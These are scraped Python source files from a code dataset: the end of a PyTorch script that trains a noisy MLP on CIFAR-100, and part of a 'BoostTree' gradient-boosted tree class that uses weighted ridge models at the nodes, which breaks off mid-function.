{} ***\".format(\"best_\" + ckpt_name,\n                                                                         checkpoint[\"test_acc\"] * 100,\n                                                                         checkpoint[\"epoch\"]))\n    else:\n        start_epoch = 0\n        train_loss_list = []\n        train_acc_list = []\n        valid_loss_list = []\n        valid_acc_list = []\n        non_zero_list = []\n        best_valid_acc = -1\n\n    criterion = nn.CrossEntropyLoss()\n    if torch.cuda.is_available():\n        criterion = criterion.cuda()\n\n    valid_loss, valid_acc = validate(valid_loader, model, criterion)\n    print(\"Before training\", valid_acc)\n    input()\n\n    n_epoch_wo_improvement = 0\n    for epoch in range(start_epoch, args.max_epoch):\n        # train for one epoch\n        train_loss, train_acc = train(train_loader, model, criterion, optimizer)\n        # evaluate on validation set\n        #valid_loss, valid_acc = validate(valid_loader, model, criterion)\n        valid_loss, valid_acc = validate(valid_loader, model, criterion)\n        print(\"epoch\", epoch, valid_acc)\n        input()\n        train_loss_list.append(train_loss)\n        train_acc_list.append(train_acc)\n        valid_loss_list.append(valid_loss)\n        valid_acc_list.append(valid_acc)\n        non_zero = 0\n        for name, param in model.named_parameters():\n            if param.requires_grad:\n                non_zero += param.abs().sign().sum().item()\n        non_zero_list.append(non_zero)\n        print('[{}/ {}] [{}] Train Acc: {:.2f} Valid Acc: {:.2f}, log(Non_zero)={:.2f}'.format(epoch, args.max_epoch, ckpt_name.rstrip(\".pth.tar\"),\n                                                                                      train_acc * 100,\n                                                                                      valid_acc*100,\n                                                                                      np.log(non_zero)))\n        is_best = valid_acc > best_valid_acc\n        best_valid_acc = max(valid_acc, best_valid_acc)\n        if is_best:\n            n_epoch_wo_improvement = 0\n            _, test_acc = validate(test_loader, model)\n            state = {\n                \"model\": args.model,\n                \"non_zero_list\": non_zero_list,\n                'epoch': epoch + 1,\n                'model_state_dict': model.state_dict(),\n                'train_loss_list': train_loss_list,\n                'train_acc_list': train_acc_list,\n                'valid_loss_list': valid_loss_list,\n                \"valid_acc_list\": valid_acc_list,\n                \"test_acc\": test_acc,\n                'optim_state_dict': optimizer.state_dict()\n            }\n            save_checkpoint(state, args.save_dir, \"best_\" + ckpt_name)\n        else:\n            n_epoch_wo_improvement += 1\n\n        if epoch > 0 and epoch % SAVE_EPOCH == 0:\n            _, test_acc = validate(test_loader, model)\n            state = {\n                \"model\": args.model,\n                \"non_zero_list\": non_zero_list,\n                'epoch': epoch + 1,\n                'model_state_dict': model.state_dict(),\n                'train_loss_list': train_loss_list,\n                'train_acc_list': train_acc_list,\n                'valid_loss_list': valid_loss_list,\n                \"valid_acc_list\": valid_acc_list,\n                \"test_acc\": test_acc,\n                'optim_state_dict': optimizer.state_dict()\n            }\n            save_checkpoint(state, args.save_dir, \"{}epoch_\".format(epoch)+ckpt_name)\n        #if n_epoch_wo_improvement > EARLY_STOPPING_CRITERION :\n        #    break\n    _, test_acc = validate(test_loader, model)\n    state = {\n        \"model\": args.model,\n        \"non_zero_list\": non_zero_list,\n        'epoch': epoch + 1,\n        'model_state_dict': model.state_dict(),\n        'train_loss_list': train_loss_list,\n        'train_acc_list': train_acc_list,\n        'valid_loss_list': valid_loss_list,\n        \"valid_acc_list\": valid_acc_list,\n        \"test_acc\": test_acc,\n        'optim_state_dict': optimizer.state_dict()\n    }\n    save_checkpoint(state, args.save_dir, ckpt_name)\n    print('[{}] Test Accuracy: {:.2f}, log(Non_zero)={:.2f}'.format(ckpt_name, test_acc * 100, np.log(non_zero)))\n\ndef train(train_loader, model, criterion, optimizer):\n    \"\"\"Train for one epoch on the training set\"\"\"\n    # switch to train mode\n    model.train()\n    loss_part = []\n    acc_part = []\n    for X, y in train_loader:\n        input_ = X.to(device)\n        target = y.to(device)\n        #with torch.no_grad():\n        #    input_ = wrn.forward_conv(X.to(device)).detach()\n        #    target = y.to(device)\n\n        # compute output\n        output = model(input_)\n        preds = output.max(dim=1)[1]\n        loss = criterion(output, target)\n\n        # compute gradient and do SGD step\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n        # measure accuracy and record loss\n        acc = (preds == target).sum().item() / preds.size(0)\n        loss_part.append(loss.item())\n        acc_part.append(acc)\n    return np.mean(loss_part), np.mean(acc_part)\n\ndef validate(val_loader, model, criterion=None):\n    \"\"\"Perform validation on the validation set\"\"\"\n    # switch to evaluate mode\n    model.eval()\n    loss_part = []\n    acc_part = []\n    with torch.no_grad():\n        for X, y in train_loader:\n            input_ = X.to(device)\n            target = y.to(device)\n            #input_ = wrn.forward_conv(X.to(device)).detach()\n            #target = y.to(device)\n            # compute output\n            output = model(input_)\n            preds = output.max(dim=1)[1]\n            if criterion is not None:\n                loss = criterion(output, target)\n                loss = loss.item()\n                loss_part.append(loss)\n            else:\n                loss_part.append(0)\n            print(preds)\n            print(target)\n            print(preds == target)\n            acc = (preds == target).sum().item() / preds.size(0)\n            acc_part.append(acc)\n    return np.mean(loss_part), np.mean(acc_part)\n\ndef save_checkpoint(state, directory, name, filename='checkpoint.pth.tar'):\n    \"\"\"Saves checkpoint to disk\"\"\"\n    if not os.path.exists(directory):\n        os.makedirs(directory)\n    filename = os.path.join(directory, name)\n    torch.save(state, filename)\n\nmain()\n", "sub_path": "noise_weight/noise_mlp_on_conv.py", "file_name": "noise_mlp_on_conv.py", "file_ext": "py", "file_size_in_byte": 12826, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 35, "usage_type": "call"}, {"api_name": "wide_resnet.WideResNet", "line_number": 36, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 47, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 47, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 47, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 48, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 48, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 53, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 53, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 55, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 85, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 117, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 119, "usage_type": "attribute"}, {"api_name": "models_yki.NoisyMLP", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 133, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path", "line_number": 154, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 178, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 288, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 316, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 322, "usage_type": "call"}, {"api_name": "os.path", "line_number": 322, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 323, "usage_type": "call"}]}
+{"seq_id": "483973113", "text": "\"\"\"\r\n\r\nBoostTree\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nfrom sklearn.metrics import accuracy_score, log_loss, mean_squared_error\r\nfrom scipy.special import softmax, expit\r\nimport random\r\nfrom math import ceil, sqrt\r\nfrom models.weight_ridge import weight_ridge\r\nfrom joblib import Parallel, delayed\r\n\r\n_MACHINE_EPSILON = np.finfo(np.float64).eps\r\nmax_response = 4\r\nNUM_SPLIT = 100\r\nsample_leaf_list = [5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\r\n\r\n\r\nclass BT(object):\r\n    def __init__(self, max_leafs=5, n_jobs=1, task='clf', RC='F'):\r\n        self.max_leafs = max_leafs\r\n        self.tree = None\r\n        self.train_Loss = []\r\n        self.train_X = None\r\n        self.train_y = None\r\n        self.leaf_num = 1\r\n        self.verbose = False\r\n        self.n_classes = None\r\n        self.feature_demension = None\r\n        self.split_feature_demension = None\r\n        self.categorical_feature_index = []\r\n        self.n_jobs = n_jobs\r\n        # task:['reg','clf']\r\n        self.task = task\r\n        self.has_test = None\r\n        self.parallel_data = None\r\n        self.RC = RC\r\n        if task == 'clf':\r\n            self.L2_list = [1, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1, 0.05, 0.01, 0.001]\r\n        else:\r\n            self.L2_list = [1, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1, 0.05, 0.01, 0.001]\r\n            # self.L2_list = [1, 0.1, 0.01, 0.001]\r\n\r\n    def get_params(self, deep=True):\r\n        return {\r\n            \"max_leafs\": self.max_leafs,\r\n        }\r\n\r\n    # ======================\r\n    # Fit\r\n    # ======================\r\n    def fit(self, train_X, train_y, test_X=None, test_y=None, verbose=False):\r\n\r\n        # Settings\r\n        self.verbose = verbose\r\n        self.train_X = train_X\r\n        self.train_label = train_y\r\n        self.feature_demension = self.train_X.shape[1]\r\n        self.split_feature_demension = ceil(sqrt(self.feature_demension))\r\n\r\n        # training options\r\n        if self.task == 'clf':\r\n            self.n_classes = np.unique(train_y).shape[0]\r\n            self.train_ACC = []\r\n            if self.n_classes == 2:\r\n                self.train_y = train_y\r\n            else:\r\n                self.train_y = np.eye(self.n_classes)[train_y]\r\n        else:\r\n            self.n_classes = 1\r\n            self.train_y = train_y\r\n\r\n        # testing options\r\n        self.has_test = (test_X is not None) and (test_y is not None)\r\n        if self.has_test:\r\n            self.test_X = test_X\r\n            self.test_label = test_y\r\n            self.test_Loss = []\r\n            if self.task == 'clf':\r\n                self.test_ACC = []\r\n                if self.n_classes == 2:\r\n                    self.test_y = test_y\r\n                else:\r\n                    self.test_y = np.eye(self.n_classes)[test_y]\r\n            else:\r\n                self.test_y = test_y\r\n\r\n        if self.verbose:\r\n            print(\" max_leafs={}, \\n alpha_list={}, \\n sample_leaf_list={}\".format(\r\n                self.max_leafs, self.L2_list, sample_leaf_list))\r\n        # categorical_feature_index\r\n        for j_feature in range(self.feature_demension):\r\n            if len(np.unique(self.train_X[:, j_feature])) == 2:\r\n                self.categorical_feature_index.append(j_feature)\r\n        # Construct tree\r\n        self._build_tree()\r\n        del self.train_X, self.train_y, self.train_label\r\n\r\n    # ======================\r\n    # Predict Prob\r\n    # ======================\r\n    def predict_prob_output(self, X):\r\n        assert self.tree is not None\r\n        y_pred = np.array([self.predict_x(self.tree, x) for x in X])\r\n        y_pred = y_pred.reshape(len(X), -1)\r\n        prob = self.output2prob(y_pred)\r\n        return prob, y_pred\r\n\r\n    def output2prob(self, output):\r\n        if self.n_classes == 2:\r\n            prob = expit(output)\r\n        else:\r\n            prob = softmax(output, axis=1)\r\n        return prob\r\n\r\n    def predict_score(self, node_model, X):\r\n        X_continus = np.delete(X, self.categorical_feature_index, axis=1)\r\n        if (self.task == 'reg') or (self.n_classes == 2):\r\n            new_scores = node_model.predict(X_continus)\r\n        else:\r\n            new_scores = [e.predict(X_continus) for e in node_model]\r\n            new_scores = np.asarray(new_scores).T\r\n            new_scores -= new_scores.mean(keepdims=True)\r\n            new_scores *= (self.n_classes - 1) / self.n_classes\r\n        return new_scores\r\n\r\n    def predict_x(self, node, x, y_pred_x=None):\r\n        no_children = node[\"children\"][\"left\"] is None and node[\"children\"][\"right\"] is None\r\n        if no_children:\r\n            if node[\"model\"] is None:\r\n                if (self.task == 'reg') or (self.n_classes == 2):\r\n                    y_pred_x = 0\r\n                else:\r\n                    y_pred_x = np.zeros((1, self.n_classes), dtype=np.float64)\r\n                return y_pred_x\r\n            else:\r\n                new_scores = self.predict_score(node[\"model\"], x.reshape(1, -1))\r\n            y_pred_x += new_scores\r\n            return y_pred_x\r\n        else:\r\n            if node[\"model\"] is None:\r\n                if (self.task == 'reg') or (self.n_classes == 2):\r\n                    y_pred_x = 0\r\n                else:\r\n                    y_pred_x = np.zeros((1, self.n_classes), dtype=np.float64)\r\n\r\n            else:\r\n                new_scores = self.predict_score(node[\"model\"], x.reshape(1, -1))\r\n                y_pred_x += new_scores\r\n            if self.RC == 'T':\r\n                x_split = x[node[\"random_feature_index\"]]\r\n                x_split = x_split.reshape(1, -1) @ node[\"random_filter\"]\r\n                x_split = x_split[0]\r\n            else:\r\n                x_split = x[node[\"random_feature_index\"]]\r\n            if x_split[node[\"j_feature\"]] <= node[\"threshold\"]:  # x[j] < threshold\r\n                return self.predict_x(node[\"children\"][\"left\"], x, y_pred_x)\r\n            else:  # x[j] > threshold\r\n                return self.predict_x(node[\"children\"][\"right\"], x, y_pred_x)\r\n\r\n    # ======================\r\n    # Loss\r\n    # ======================\r\n    def loss(self, y, y_pred):\r\n        if self.task == 'clf':\r\n            if self.n_classes == 2:\r\n                loss = log_loss(y, y_pred, labels=[0, 1])\r\n            else:\r\n                loss = log_loss(y, y_pred, labels=np.eye(self.n_classes))\r\n        else:\r\n            loss = mean_squared_error(y, y_pred)**0.5\r\n        return loss\r\n\r\n    def prob2pred_label(self, prob):\r\n        if self.n_classes == 2:\r\n            prob_temp = np.c_[1 - prob, prob]\r\n            y_pred = prob_temp.argmax(axis=1)\r\n        else:\r\n            y_pred = prob.argmax(axis=1)\r\n        return y_pred\r\n\r\n    ##\r\n    # predict stepwise\r\n    ##\r\n    def predict_stagewise(self):\r\n        if self.task == 'clf':\r\n            # training acc, training loss\r\n            y_prob, _ = self.predict_prob_output(self.train_X)\r\n            self.train_Loss.append(self.loss(self.train_y, y_prob))\r\n            y_pred = self.prob2pred_label(y_prob)\r\n            self.train_ACC.append(accuracy_score(self.train_label, y_pred))\r\n            # testing acc, testing loss\r\n            if self.has_test:\r\n                y_prob, _ = self.predict_prob_output(self.test_X)\r\n                self.test_Loss.append(self.loss(self.test_y, y_prob))\r\n                y_pred = self.prob2pred_label(y_prob)\r\n                self.test_ACC.append(accuracy_score(self.test_label, y_pred))\r\n        else:\r\n            # training loss\r\n            _, y_pred = self.predict_prob_output(self.train_X)\r\n            self.train_Loss.append(self.loss(self.train_y, y_pred))\r\n            # testing loss\r\n            if self.has_test:\r\n                _, y_pred = self.predict_prob_output(self.test_X)\r\n                self.test_Loss.append(self.loss(self.test_y, y_pred))\r\n\r\n    def _build_tree(self):\r\n        X, y = self.train_X, self.train_y\r\n        if (self.task == 'reg') or (self.n_classes == 2):\r\n            output = np.zeros(len(X), dtype=np.float64)\r\n        else:\r\n            output = np.zeros((len(X), self.n_classes), dtype=np.float64)\r\n\r\n        container = {\"index_node_global\": 0}  # mutatable container\r\n        if self.task == 'clf':\r\n            prob = self.output2prob(output)\r\n            loss_root = self.loss(y, prob)\r\n        else:\r\n            loss_root = self.loss(y, output)\r\n        data = (X, y, output)\r\n        self.tree = self._create_node(data, 0, container, loss_root)  # depth 0 root node\r\n        ##\r\n        node_temp = []\r\n        node_temp.append(self.tree)\r\n        loss_temp = []\r\n        loss_temp.append(self.tree[\"n_samples\"] * self.tree[\"loss\"])\r\n        # split and traverse root node\r\n        split_index = 0\r\n        while split_index >= 0:\r\n            node_temp, loss_temp, split_index = self._split_traverse_node(\r\n                node_temp[split_index], container, node_temp, loss_temp)\r\n        # del data\r\n        while True:\r\n            if max(loss_temp) == 0:\r\n                break\r\n            else:\r\n                max_index = loss_temp.index(max(loss_temp))\r\n                loss_temp[node_temp[max_index][\"index\"]] = 0\r\n                del node_temp[max_index][\"data\"]\r\n\r\n    # Recursively split node + traverse node until a terminal node is reached\r\n    def _split_traverse_node(self, node, container, node_temp, loss_temp):\r\n        \"\"\"\r\n            main loop\r\n        \"\"\"\r\n        # Perform split and collect result\r\n        result = self._splitter(node)\r\n        del node[\"data\"]\r\n        loss_temp[node[\"index\"]] = 0\r\n        # Return terminal node if split is not advised\r\n        if not result[\"did_split\"]:\r\n\r\n            if self.verbose:\r\n                depth_spacing_str = \" \".join([\" \"] * node[\"depth\"])\r\n                print(\" {}*leaf {} @ depth {}: loss={:.6f}, N={}\".format(\r\n                    depth_spacing_str, node[\"index\"], node[\"depth\"], node[\"loss\"],\r\n                    node[\"n_samples\"]))\r\n            # #\r\n            if self.max_leafs is None:\r\n                max_leaf_condition = True\r\n            else:\r\n                max_leaf_condition = (self.leaf_num < self.max_leafs)\r\n            if max_leaf_condition:\r\n                # del data in leaf node\r\n                if max(loss_temp) == 0:\r\n                    return node_temp, loss_temp, -1\r\n                split_index = loss_temp.index(max(loss_temp))\r\n                return node_temp, loss_temp, split_index\r\n            return node_temp, loss_temp, -1\r\n\r\n        # Update node information based on splitting result\r\n        node[\"j_feature\"] = result[\"j_feature\"]\r\n        node[\"threshold\"] = result[\"threshold\"]\r\n\r\n        # Extract splitting results\r\n        data_left, data_right = result[\"data\"]\r\n        model_left, model_right = result[\"models\"]\r\n        loss_left, loss_right = result[\"loss\"]\r\n        N_left, N_right = result[\"N_left_right\"]\r\n\r\n        # Report created node to user\r\n        if self.verbose:\r\n            depth_spacing_str = \" \".join([\" \"] * node[\"depth\"])\r\n            print(\" {}node {} @ depth {}: loss={:.6f}, j_feature={}, threshold={:.6f}, N=({},{})\".\r\n                  format(depth_spacing_str, node[\"index\"], node[\"depth\"], node[\"loss\"],\r\n                         node[\"j_feature\"], node[\"threshold\"], N_left, N_right))\r\n        \r\n        # Create children nodes\r\n        node[\"children\"][\"left\"] = self._create_node(data_left, node[\"depth\"] + 1, container,\r\n                                                     loss_left, model_left)\r\n        node_temp.append(node[\"children\"][\"left\"])\r\n        loss_temp.append(node[\"children\"][\"left\"][\"n_samples\"] * node[\"children\"][\"left\"][\"loss\"])\r\n        node[\"children\"][\"right\"] = self._create_node(data_right, node[\"depth\"] + 1, container,\r\n                                                      loss_right, model_right)\r\n        node_temp.append(node[\"children\"][\"right\"])\r\n        loss_temp.append(node[\"children\"][\"right\"][\"n_samples\"] * node[\"children\"][\"right\"][\"loss\"])\r\n\r\n        # self.predict_stagewise()  # debug\r\n        self.leaf_num += 1\r\n        # decide split node\r\n        if max(loss_temp) == 0:\r\n            return node_temp, loss_temp, -1\r\n        split_index = loss_temp.index(max(loss_temp))\r\n        return node_temp, loss_temp, split_index\r\n\r\n    def _splitter(self, node):\r\n        \"\"\"\r\n        Split the node and collect result\r\n        \"\"\"\r\n        # Extract data\r\n        X, y, output = node[\"data\"]\r\n        data = node[\"data\"]\r\n        N = node[\"n_samples\"]\r\n        # Find feature splits that might improve loss\r\n        did_split = False\r\n        loss_best = node[\"loss\"]\r\n        data_best = None\r\n        models_best = None\r\n        N_left_right = None\r\n        j_feature = None\r\n        threshold = None\r\n        #\r\n        if node[\"random_feature_index\"] is not None:\r\n            if self.RC == 'T':\r\n                X_split = X[:, node[\"random_feature_index\"]]\r\n                X_split = X_split @ node[\"random_filter\"]\r\n            else:\r\n                X_split = X[:, node[\"random_feature_index\"]]\r\n            # leaf samples\r\n            min_samples_left, min_samples_right = random.sample(sample_leaf_list, 2)\r\n            # split_options\r\n            split_options = (X_split, min_samples_left, min_samples_right)\r\n            # Perform threshold split search only if node has not hit max depth\r\n            if self.max_leafs is None:\r\n                max_leafs_condition = True\r\n            else:\r\n                max_leafs_condition = (self.leaf_num < self.max_leafs)\r\n            if max_leafs_condition and (N >= (min_samples_left + min_samples_right)):\r\n                # feature_threshold\r\n                feature_threshold = []\r\n                for j_feature in range(X_split.shape[1]):\r\n                    threshold_search = []\r\n                    for i in range(N):\r\n                        threshold_search.append(X_split[i, j_feature])  # round\r\n                    threshold_search = list(set(threshold_search))\r\n\r\n                    if len(threshold_search) > NUM_SPLIT:\r\n                        value_min, value_max = min(threshold_search), max(threshold_search)\r\n                        threshold_search = np.linspace(value_min, value_max, num=NUM_SPLIT)\r\n                        threshold_search = list(np.around(threshold_search, decimals=3))\r\n                        threshold_search = list(set(threshold_search))\r\n\r\n                    for threshold in threshold_search:\r\n                        idx_left, idx_right = split_idx(j_feature, threshold, X_split)\r\n                        if (len(idx_left) >= min_samples_left) and (len(idx_right) >=\r\n                                                                    min_samples_right):\r\n                            feature_threshold.append((j_feature, threshold))\r\n                # random threshold\r\n                N_threshold = len(feature_threshold)\r\n                idx = random.sample(range(N_threshold), ceil(sqrt(N_threshold)))\r\n                feature_threshold_random = []\r\n                for i in idx:\r\n                    feature_threshold_random.append(feature_threshold[i])\r\n                feature_threshold = feature_threshold_random\r\n                # Parallel Split\r\n                self.parallel_data = data\r\n                split_result_list = Parallel(n_jobs=self.n_jobs)(\r\n                    delayed(self._split_loss)(f_t, split_options) for f_t in feature_threshold)\r\n                self.parallel_data = None\r\n                # Get split feature and threshold\r\n                loss_list = [x[0] for x in split_result_list]\r\n                loss_temp = [x for x in loss_list if x is not None]\r\n                if loss_temp:\r\n                    best_loss_split = min(loss_temp)\r\n                    best_loss_index = loss_list.index(best_loss_split)\r\n                    j_feature, threshold = feature_threshold[best_loss_index]\r\n                    _, alpha_left, alpha_right = split_result_list[best_loss_index]\r\n                else:\r\n                    best_loss_split = None\r\n                #\r\n                # Update best parameters if loss is lower\r\n                if (best_loss_split is not None) and (best_loss_split < loss_best):\r\n                    # print(min_samples_left, min_samples_right)\r\n                    # print('alpha_left: ', alpha_left, 'alpha_right: ', alpha_right)\r\n                    idx_left, idx_right = split_idx(j_feature, threshold, X_split)\r\n                    data_left, data_right = split_data(data, idx_left, idx_right)\r\n                    # Compute weight loss function\r\n                    loss_left, model_left, data_left = self._fit_model(data_left, alpha_left)\r\n                    loss_right, model_right, data_right = self._fit_model(data_right, alpha_right)\r\n                    did_split = True\r\n                    models_best = [model_left, model_right]\r\n                    data_best = [data_left, data_right]\r\n                    loss_best = [loss_left, loss_right]\r\n                    N_left_right = [len(idx_left), len(idx_right)]\r\n\r\n        # Return the best result\r\n        result = {\r\n            \"did_split\": did_split,\r\n            \"models\": models_best,\r\n            \"data\": data_best,\r\n            \"j_feature\": j_feature,\r\n            \"threshold\": threshold,\r\n            \"loss\": loss_best,\r\n            \"N_left_right\": N_left_right\r\n        }\r\n\r\n        return result\r\n\r\n    def _split_loss(self, f_t, split_options):\r\n        # Split data based on threshold\r\n        j_feature, threshold = f_t\r\n        X_split, min_samples_left, min_samples_right = split_options\r\n        idx_left, idx_right = split_idx(j_feature, threshold, X_split)\r\n        data_left, data_right = split_data(self.parallel_data, idx_left, idx_right)\r\n        N_left, N_right = len(idx_left), len(idx_right)\r\n        N = N_left + N_right\r\n        # Splitting conditions\r\n        split_conditions = [N_left >= min_samples_left, N_right >= min_samples_right]\r\n        # Do not attempt to split if split conditions not satisfied\r\n        if not all(split_conditions):\r\n            return None, None, None\r\n\r\n        # Compute weight loss function\r\n        loss_left, model_left, _ = self._fit_model(data_left)\r\n        loss_right, model_right, _ = self._fit_model(data_right)\r\n        loss_split = (N_left * loss_left + N_right * loss_right) / N\r\n        # L2\r\n        if (self.task == 'reg') or (self.n_classes == 2):\r\n            coef_left = model_left.model.coef_\r\n            alpha_left = model_left.alpha\r\n            coef_right = model_right.model.coef_\r\n            alpha_right = model_right.alpha\r\n        else:\r\n            coef_left = np.array([m.model.coef_ for m in model_left])\r\n            alpha_left = model_left[0].alpha\r\n            coef_right = np.array([m.model.coef_ for m in model_right])\r\n            alpha_right = model_right[0].alpha\r\n\r\n        L2_left = np.linalg.norm(coef_left)**2\r\n        L2_right = np.linalg.norm(coef_right)**2\r\n        loss_alpha = (alpha_left * L2_left + alpha_right * L2_right) / N\r\n        loss_split += loss_alpha\r\n        return loss_split, alpha_left, alpha_right\r\n\r\n    def _fit_model(self, data, alpha=None):\r\n        (X, y, output) = data\r\n        X_continus = np.delete(X, self.categorical_feature_index, axis=1)\r\n        if alpha is None:\r\n            alpha = random.sample(self.L2_list, 1)[0]\r\n        model = weight_ridge(alpha)\r\n        if self.task == 'clf':\r\n            prob = self.output2prob(output)\r\n            if self.n_classes == 2:\r\n\r\n                weight, z = self._weight_and_response(y, prob)\r\n                X_train, z_train, weight_train = filter_quantile(\r\n                    X_continus, z, weight, trim_quantile=0.05)\r\n                new_estimators = deepcopy(model)  # must deepcopy the model!\r\n                new_estimators.fit(X_train, z_train, weight_train)\r\n            else:\r\n\r\n                new_estimators = []\r\n                for j in range(self.n_classes):\r\n                    # weight\r\n                    weight, z = self._weight_and_response(y[:, j], prob[:, j])\r\n                    # filter\r\n                    X_train, z_train, weight_train = filter_quantile(\r\n                        X_continus, z, weight, trim_quantile=0.05)\r\n                    model_copy = deepcopy(model)  # must deepcopy the model!\r\n                    model_copy.fit(X_train, z_train, weight_train)\r\n                    new_estimators.append(model_copy)\r\n            new_scores = self.predict_score(new_estimators, X)\r\n            y_pred = new_scores + output\r\n            prob = self.output2prob(y_pred)\r\n            loss = self.loss(y, prob)\r\n        else:\r\n            targets = y - output\r\n            new_estimators = deepcopy(model)\r\n            X_train, targets = filter_quantile_high(X_continus, targets, 0.05)\r\n            new_estimators.fit(X_train, targets)\r\n            new_scores = self.predict_score(new_estimators, X)\r\n            y_pred = new_scores + output\r\n            loss = self.loss(y, y_pred)\r\n\r\n        assert loss >= 0.0\r\n        return loss, new_estimators, (X, y, y_pred)\r\n\r\n    def _weight_and_response(self, y, prob):\r\n        sample_weight = prob * (1. - prob)\r\n        sample_weight = np.maximum(sample_weight, 2. * _MACHINE_EPSILON)\r\n        with np.errstate(divide=\"ignore\", over=\"ignore\"):\r\n            z = np.where(y, 1. / prob, -1. / (1. - prob))\r\n        z = np.clip(z, a_min=-max_response, a_max=max_response)\r\n        return sample_weight, z\r\n\r\n    def _create_node(self, data, depth, container, loss_node, model_node=None):\r\n        #\r\n        X, y, output = data\r\n        split_feature_demension = self.split_feature_demension\r\n        #\r\n        feature_candidate = []\r\n        for j_feature in range(self.feature_demension):\r\n            if len(np.unique(X[:, j_feature])) >= 2:\r\n                feature_candidate.append(j_feature)\r\n        if self.RC == 'T':\r\n            if split_feature_demension <= len(feature_candidate):\r\n                random_feature_index = random.sample(feature_candidate, split_feature_demension)\r\n                random_filter = np.random.rand(split_feature_demension, split_feature_demension)\r\n            elif len(feature_candidate) > 0:\r\n                random_feature_index = 